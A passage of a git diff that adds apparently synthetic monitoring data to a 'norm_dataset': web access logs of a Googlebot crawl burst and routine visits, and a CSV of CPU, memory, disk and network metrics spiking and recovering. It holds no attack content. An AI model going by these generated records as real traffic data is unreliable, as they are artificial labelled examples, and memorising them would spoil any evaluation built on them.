- "GET /products/123 HTTP/1.1" 200 7704 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:03 web-app[1234]: 66.249.66.2 - - "GET /index.html HTTP/1.1" 200 24792 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:03 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:04 web-app[1234]: 66.249.66.9 - - "GET /robots.txt HTTP/1.1" 200 46560 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:05 web-app[1234]: 66.249.66.3 - - "GET /blog/article-5 HTTP/1.1" 304 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:05 web-app[1234]: 66.249.66.6 - - "GET /blog/article-5 HTTP/1.1" 200 40862 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:05 web-app[1234]: 66.249.66.6 - - "GET /sitemap.xml HTTP/1.1" 200 35578 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:06 web-app[1234]: 66.249.66.5 - - "GET /about-us HTTP/1.1" 200 49784 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:07 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 200 25595 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:07 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 200 33907 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:08 web-app[1234]: 66.249.66.8 - - "GET /index.html HTTP/1.1" 200 8702 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:10 web-app[1234]: 66.249.66.3 - - "GET /images/logo.png HTTP/1.1" 200 41415 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:10 web-app[1234]: 66.249.66.4 - - "GET /products/123 HTTP/1.1" 200 42547 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:10 web-app[1234]: 66.249.66.5 - - "GET /products/123 HTTP/1.1" 200 49559 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:11 web-app[1234]: 66.249.66.7 - - "GET /index.html HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:11 web-app[1234]: 66.249.66.9 - - "GET /index.html HTTP/1.1" 200 28341 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:12 web-app[1234]: 66.249.66.2 - - "GET /sitemap.xml HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:15 web-app[1234]: 66.249.66.7 - - "GET /index.html HTTP/1.1" 200 22339 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:16 web-app[1234]: 66.249.66.1 - - "GET /blog/article-5 HTTP/1.1" 200 45362 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:16 web-app[1234]: 66.249.66.8 - - "GET /blog/article-5 HTTP/1.1" 200 17814 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:17 web-app[1234]: 66.249.66.1 - - "GET /robots.txt HTTP/1.1" 200 33127 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:17 web-app[1234]: 66.249.66.8 - - "GET /about-us HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:18 web-app[1234]: 66.249.66.5 - - "GET /about-us HTTP/1.1" 200 42194 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:18 web-app[1234]: 66.249.66.6 - - "GET /images/logo.png HTTP/1.1" 200 33225 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:19 web-app[1234]: 66.249.66.1 - - "GET /index.html HTTP/1.1" 200 33620 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:19 web-app[1234]: 66.249.66.2 - - "GET /sitemap.xml HTTP/1.1" 200 43979 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:19 web-app[1234]: 66.249.66.5 - - "GET /robots.txt HTTP/1.1" 200 12822 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:20 web-app[1234]: 66.249.66.3 - - "GET /robots.txt HTTP/1.1" 200 22044 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:20 web-app[1234]: 66.249.66.8 - - "GET /images/logo.png HTTP/1.1" 200 35236 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:21 web-app[1234]: 66.249.66.6 - - "GET /products/123 HTTP/1.1" 200 5682 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:22 web-app[1234]: 66.249.66.5 - - "GET /blog/article-5 HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:24 web-app[1234]: 66.249.66.1 - - "GET /sitemap.xml HTTP/1.1" 200 18643 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:25 web-app[1234]: 66.249.66.2 - - "GET /index.html HTTP/1.1" 200 28670 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:25 web-app[1234]: 66.249.66.4 - - "GET /robots.txt HTTP/1.1" 200 31380 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:25 web-app[1234]: 66.249.66.8 - - "GET /about-us HTTP/1.1" 200 9880 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:28 web-app[1234]: 66.249.66.4 - - "GET /robots.txt HTTP/1.1" 200 20814 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:28 web-app[1234]: 66.249.66.9 - - "GET /products/123 HTTP/1.1" 404 180 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:29 web-app[1234]: 66.249.66.4 - - "GET /sitemap.xml HTTP/1.1" 200 27929 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:29 web-app[1234]: 66.249.66.7 - - "GET /images/logo.png HTTP/1.1" 200 7841 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:05:33 web-app[1234]: 192.168.1.92 - - "GET /index.html HTTP/1.1" 200 10365 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:05:37 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:45 web-app[1234]: 192.168.1.82 - - "GET /images/logo.png HTTP/1.1" 200 6426 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:00 web-app[1234]: 192.168.1.192 - - "GET /sitemap.xml HTTP/1.1" 200 10456 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:19 web-app[1234]: 192.168.1.192 - - "GET /about-us HTTP/1.1" 200 12964 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:06:30 web-app[1234]: 192.168.1.92 - - "GET /products/123 HTTP/1.1" 200 3239 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:06:43 CRON[5699]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:49 web-app[1234]: 192.168.1.192 - - "GET /images/logo.png HTTP/1.1" 200 12488 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:07:00 web-app[1234]: 192.168.1.92 - - "GET /sitemap.xml HTTP/1.1" 200 11305 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:07:15 web-app[1234]: 192.168.1.117 - - "GET /products/123 HTTP/1.1" 200 2990 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" diff --git a/norm_dataset/scenario_8/norm_8_21.csv b/norm_dataset/scenario_8/norm_8_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..4debebaabb4651a5b776729039f45fe33b9f3665 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.53,44.55,26.52,1.55,1.72 +2025-08-22T10:00:05Z,14.35,41.47,24.29,2.28,1.71 +2025-08-22T10:00:10Z,15.19,36.87,27.27,1.84,2.26 +2025-08-22T10:00:15Z,16.57,40.65,35.05,2.02,1.22 +2025-08-22T10:00:20Z,16.8,39.47,37.15,2.17,2.23 +2025-08-22T10:00:25Z,14.98,37.72,32.04,1.79,1.7 +2025-08-22T10:00:30Z,12.78,39.73,28.17,1.58,2.2 +2025-08-22T10:00:35Z,16.76,37.83,35.45,1.2,1.6 +2025-08-22T10:00:40Z,14.27,40.22,33.05,1.2,1.56 +2025-08-22T10:00:45Z,15.03,38.91,34.18,1.17,2.03 +2025-08-22T10:00:50Z,15.49,44.39,24.46,1.2,1.39 +2025-08-22T10:00:55Z,10.22,40.23,33.86,0.78,1.16 +2025-08-22T10:01:00Z,15.7,39.92,30.56,1.76,1.29 +2025-08-22T10:01:05Z,14.11,39.71,30.69,1.42,2.37 +2025-08-22T10:01:10Z,15.22,36.81,24.57,1.8,1.4 +2025-08-22T10:01:15Z,16.93,43.26,24.64,1.63,2.4 +2025-08-22T10:01:20Z,14.81,41.81,33.54,1.89,2.03 +2025-08-22T10:01:25Z,16.3,41.01,29.47,1.69,2.06 +2025-08-22T10:01:30Z,13.29,39.77,22.83,1.76,1.84 +2025-08-22T10:01:35Z,15.4,39.24,24.07,2.08,1.33 +2025-08-22T10:01:40Z,18.28,40.54,29.21,0.9,1.5 +2025-08-22T10:01:45Z,12.38,39.49,27.35,1.44,2.08 +2025-08-22T10:01:50Z,17.22,45.57,26.73,1.01,1.42 +2025-08-22T10:01:55Z,15.79,41.19,29.93,1.59,1.73 +2025-08-22T10:02:00Z,23.81,43.51,44.69,2.29,2.69 +2025-08-22T10:02:05Z,37.15,39.35,54.23,3.12,4.11 +2025-08-22T10:02:10Z,49.97,38.17,62.67,4.6,5.64 +2025-08-22T10:02:15Z,64.31,41.18,68.64,3.81,5.89 +2025-08-22T10:02:20Z,76.53,41.78,79.14,5.81,7.35 +2025-08-22T10:02:25Z,81.32,43.86,90.14,7.05,11.02 +2025-08-22T10:02:30Z,88.9,39.83,83.75,6.81,10.7 +2025-08-22T10:02:35Z,89.87,40.57,90.36,5.62,12.72 +2025-08-22T10:02:40Z,75.26,40.83,90.99,5.68,12.65 +2025-08-22T10:02:45Z,86.05,40.48,97.63,8.84,13.43 +2025-08-22T10:02:50Z,88.08,37.84,80.46,2.19,12.15 +2025-08-22T10:02:55Z,89.14,37.87,85.8,5.44,9.88 +2025-08-22T10:03:00Z,87.88,41.91,89.65,4.08,8.01 +2025-08-22T10:03:05Z,91.34,40.35,97.72,7.14,10.99 +2025-08-22T10:03:10Z,86.77,39.17,100.45,6.24,17.41 +2025-08-22T10:03:15Z,85.44,40.34,82.04,7.92,12.53 +2025-08-22T10:03:20Z,85.83,41.67,69.97,9.52,11.41 +2025-08-22T10:03:25Z,82.46,42.56,90.36,6.26,12.83 +2025-08-22T10:03:30Z,84.38,40.77,85.41,8.74,12.98 +2025-08-22T10:03:35Z,80.47,39.06,97.94,5.79,13.05 +2025-08-22T10:03:40Z,80.78,35.64,98.72,6.55,12.92 +2025-08-22T10:03:45Z,86.16,39.12,88.39,7.14,10.24 +2025-08-22T10:03:50Z,82.2,42.22,88.88,6.26,13.82 +2025-08-22T10:03:55Z,75.77,40.07,101.43,7.2,12.02 +2025-08-22T10:04:00Z,80.31,40.34,89.3,6.34,15.81 +2025-08-22T10:04:05Z,77.13,41.7,82.08,7.01,10.73 +2025-08-22T10:04:10Z,86.01,39.9,89.11,7.21,13.64 +2025-08-22T10:04:15Z,77.36,37.72,91.7,9.83,10.59 +2025-08-22T10:04:20Z,81.06,42.54,94.46,8.38,9.87 +2025-08-22T10:04:25Z,82.91,37.22,79.67,5.61,8.09 +2025-08-22T10:04:30Z,73.9,40.26,83.29,9.54,14.86 +2025-08-22T10:04:35Z,72.28,38.07,91.39,8.23,15.24 +2025-08-22T10:04:40Z,95.98,38.96,84.34,4.81,12.28 +2025-08-22T10:04:45Z,75.55,37.93,97.72,9.91,7.88 +2025-08-22T10:04:50Z,87.04,41.7,91.17,8.48,11.73 +2025-08-22T10:04:55Z,89.26,38.36,92.74,5.69,13.69 +2025-08-22T10:05:00Z,85.2,38.27,84.95,6.47,12.67 +2025-08-22T10:05:05Z,87.86,40.83,100.7,9.73,12.39 +2025-08-22T10:05:10Z,82.88,39.49,98.6,4.2,11.92 +2025-08-22T10:05:15Z,91.68,44.0,103.05,4.71,14.68 +2025-08-22T10:05:20Z,89.82,38.87,85.77,7.31,12.4 +2025-08-22T10:05:25Z,78.56,38.44,88.87,8.01,11.59 +2025-08-22T10:05:30Z,80.07,38.74,87.74,5.73,11.23 +2025-08-22T10:05:35Z,74.15,38.2,87.49,6.02,11.28 +2025-08-22T10:05:40Z,70.27,39.37,76.06,6.92,11.22 +2025-08-22T10:05:45Z,48.23,41.1,53.86,3.32,7.16 +2025-08-22T10:05:50Z,37.4,39.92,50.26,3.02,3.86 +2025-08-22T10:05:55Z,23.27,44.02,37.15,2.76,3.13 +2025-08-22T10:06:00Z,14.48,40.93,35.41,2.24,1.8 +2025-08-22T10:06:05Z,16.06,36.42,32.29,1.68,2.34 +2025-08-22T10:06:10Z,13.3,43.03,27.19,2.01,1.63 +2025-08-22T10:06:15Z,16.17,39.2,25.13,1.5,1.65 +2025-08-22T10:06:20Z,14.02,38.39,37.09,1.76,1.36 +2025-08-22T10:06:25Z,17.92,38.52,32.89,2.07,1.7 +2025-08-22T10:06:30Z,17.6,38.7,34.32,2.12,2.31 +2025-08-22T10:06:35Z,19.36,43.21,30.74,1.65,2.31 +2025-08-22T10:06:40Z,13.02,40.84,27.31,1.29,1.92 +2025-08-22T10:06:45Z,15.21,38.18,25.41,1.37,1.58 +2025-08-22T10:06:50Z,16.08,41.77,31.14,1.79,1.01 +2025-08-22T10:06:55Z,13.25,36.64,36.74,1.64,1.69 +2025-08-22T10:07:00Z,17.92,43.8,31.71,1.31,1.44 +2025-08-22T10:07:05Z,14.35,42.02,22.7,1.22,0.96 +2025-08-22T10:07:10Z,14.94,40.23,33.44,1.19,2.53 +2025-08-22T10:07:15Z,16.7,40.92,32.25,1.56,2.11 +2025-08-22T10:07:20Z,13.0,39.53,26.02,0.75,1.01 +2025-08-22T10:07:25Z,17.41,39.42,41.58,1.61,1.85 diff --git a/norm_dataset/scenario_8/norm_8_21.log b/norm_dataset/scenario_8/norm_8_21.log new file mode 100644 index 0000000000000000000000000000000000000000..faf27cc52f4793f2489b6af7393440ba7453988c --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_21.log @@ -0,0 +1,1007 @@ +Aug 22 10:00:01 web-app[2345]: 192.168.1.88 - - [22/Aug/2025:10:00:01 +0000] "GET /products/item/379 HTTP/1.1" 404 1752 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:08 web-app[2345]: 192.168.1.44 - - [22/Aug/2025:10:00:08 +0000] "GET /products/item/167 HTTP/1.1" 200 3962 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:00:13 web-app[2345]: 192.168.1.12 - - [22/Aug/2025:10:00:13 +0000] "GET /products/item/181 HTTP/1.1" 200 1963 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:00:15 web-app[2345]: 192.168.1.42 - - [22/Aug/2025:10:00:15 +0000] "GET /products/item/379 HTTP/1.1" 200 3404 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:19 web-app[2345]: 192.168.1.42 - - [22/Aug/2025:10:00:19 +0000] "GET /products/item/756 HTTP/1.1" 200 505 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:27 web-app[2345]: 192.168.1.82 - - [22/Aug/2025:10:00:27 +0000] "GET /products/item/519 HTTP/1.1" 200 3519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:28 web-app[2345]: 192.168.1.56 - - [22/Aug/2025:10:00:28 +0000] "GET /products/item/167 HTTP/1.1" 200 4512 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:31 web-app[2345]: 192.168.1.85 - - [22/Aug/2025:10:00:31 +0000] "GET /users/profile/17 HTTP/1.1" 404 1387 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:37 web-app[2345]: 192.168.1.67 - - [22/Aug/2025:10:00:37 +0000] "GET /users/profile/11 HTTP/1.1" 200 4328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:43 web-app[2345]: 192.168.1.10 - - [22/Aug/2025:10:00:43 +0000] "GET /products/item/519 HTTP/1.1" 301 5000 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:51 web-app[2345]: 192.168.1.46 - - [22/Aug/2025:10:00:51 +0000] "GET /products/item/608 HTTP/1.1" 200 3888 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:00:54 web-app[2345]: 192.168.1.40 - - [22/Aug/2025:10:00:54 +0000] "GET /contact HTTP/1.1" 200 626 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:01:02 web-app[2345]: 192.168.1.51 - - [22/Aug/2025:10:01:02 +0000] "GET /users/profile/69 HTTP/1.1" 200 1115 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:01:03 web-app[2345]: 192.168.1.67 - - [22/Aug/2025:10:01:03 +0000] "GET /products/item/436 HTTP/1.1" 200 1318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:07 web-app[2345]: 192.168.1.31 - - [22/Aug/2025:10:01:07 +0000] "GET /users/profile/17 HTTP/1.1" 200 2283 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:09 web-app[2345]: 192.168.1.85 - - [22/Aug/2025:10:01:09 +0000] "GET /products/item/379 HTTP/1.1" 200 2559 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:12 web-app[2345]: 192.168.1.21 - - [22/Aug/2025:10:01:12 +0000] "GET /contact HTTP/1.1" 301 2475 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:01:17 web-app[2345]: 192.168.1.30 - - [22/Aug/2025:10:01:17 +0000] "GET /contact HTTP/1.1" 404 2763 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Aug 22 10:01:19 web-app[2345]: 192.168.1.12 - - [22/Aug/2025:10:01:19 +0000] "GET /products/item/187 HTTP/1.1" 404 3664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:31 web-app[2345]: 192.168.1.89 - - [22/Aug/2025:10:01:31 +0000] "GET /products/item/181 HTTP/1.1" 200 1056 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:33 web-app[2345]: 192.168.1.95 - - [22/Aug/2025:10:01:33 +0000] "GET /products/item/436 HTTP/1.1" 200 2660 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:35 web-app[2345]: 192.168.1.74 - - [22/Aug/2025:10:01:35 +0000] "GET /products/item/804 HTTP/1.1" 404 4298 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:37 web-app[2345]: 192.168.1.84 - - [22/Aug/2025:10:01:37 +0000] "GET /users/profile/17 HTTP/1.1" 301 501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:44 web-app[2345]: 192.168.1.53 - - [22/Aug/2025:10:01:44 +0000] "GET /products/item/436 HTTP/1.1" 404 4931 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:45 web-app[2345]: 192.168.1.81 - - [22/Aug/2025:10:01:45 +0000] "GET /products/item/436 HTTP/1.1" 200 3554 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:48 web-app[2345]: 192.168.1.80 - - [22/Aug/2025:10:01:48 +0000] "GET /users/profile/11 HTTP/1.1" 404 1303 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:52 web-app[2345]: 192.168.1.91 - - [22/Aug/2025:10:01:52 +0000] "GET /products/item/181 HTTP/1.1" 404 1244 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:56 web-app[2345]: 192.168.1.89 - - [22/Aug/2025:10:01:56 +0000] "GET /products/item/181 HTTP/1.1" 404 2565 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:01:59 web-app[2345]: 192.168.1.87 - - [22/Aug/2025:10:01:59 +0000] "GET /products/item/125 HTTP/1.1" 404 1845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:02:00 web-app[2345]: 66.249.78.179 - - [22/Aug/2025:10:02:00 +0000] "GET /users/profile/17 HTTP/1.1" 200 4862 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:00 web-app[2345]: 66.249.84.111 - - [22/Aug/2025:10:02:00 +0000] "GET /products/item/756 HTTP/1.1" 200 6050 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:00 web-app[2345]: 66.249.84.66 - - [22/Aug/2025:10:02:00 +0000] "GET /users/profile/29 HTTP/1.1" 200 13206 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:00 web-app[2345]: 66.249.85.108 - - [22/Aug/2025:10:02:00 +0000] "GET /products/item/469 HTTP/1.1" 200 5144 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[2345]: 66.249.71.113 - - [22/Aug/2025:10:02:01 +0000] "GET /products/item/718 HTTP/1.1" 200 14661 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[2345]: 66.249.82.183 - - [22/Aug/2025:10:02:01 +0000] "GET /products/item/248 HTTP/1.1" 200 4629 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[2345]: 66.249.84.111 - - [22/Aug/2025:10:02:01 +0000] "GET /contact HTTP/1.1" 200 2100 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[2345]: 66.249.84.66 - - [22/Aug/2025:10:02:01 +0000] "GET /products/item/167 HTTP/1.1" 200 4528 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:01 web-app[2345]: 66.249.85.108 - - [22/Aug/2025:10:02:01 +0000] "GET /users/profile/29 HTTP/1.1" 200 4071 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:02 web-app[2345]: 66.249.72.152 - - [22/Aug/2025:10:02:02 +0000] "GET /products/item/999 HTTP/1.1" 200 13896 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:02 web-app[2345]: 66.249.82.183 - - [22/Aug/2025:10:02:02 +0000] "GET /users/profile/11 HTTP/1.1" 200 13947 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:02 web-app[2345]: 66.249.84.111 - - [22/Aug/2025:10:02:02 +0000] "GET /products/item/519 HTTP/1.1" 200 6706 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:02 web-app[2345]: 66.249.84.66 - - [22/Aug/2025:10:02:02 +0000] "GET /products/item/804 HTTP/1.1" 200 3865 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:03 web-app[2345]: 66.249.68.52 - - [22/Aug/2025:10:02:03 +0000] "GET /products/item/187 HTTP/1.1" 200 11967 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 10:02:03 web-app[2345]: 66.249.68.52 - - [22/Aug/2025:10:02:03 +0000] "GET /products/item/718 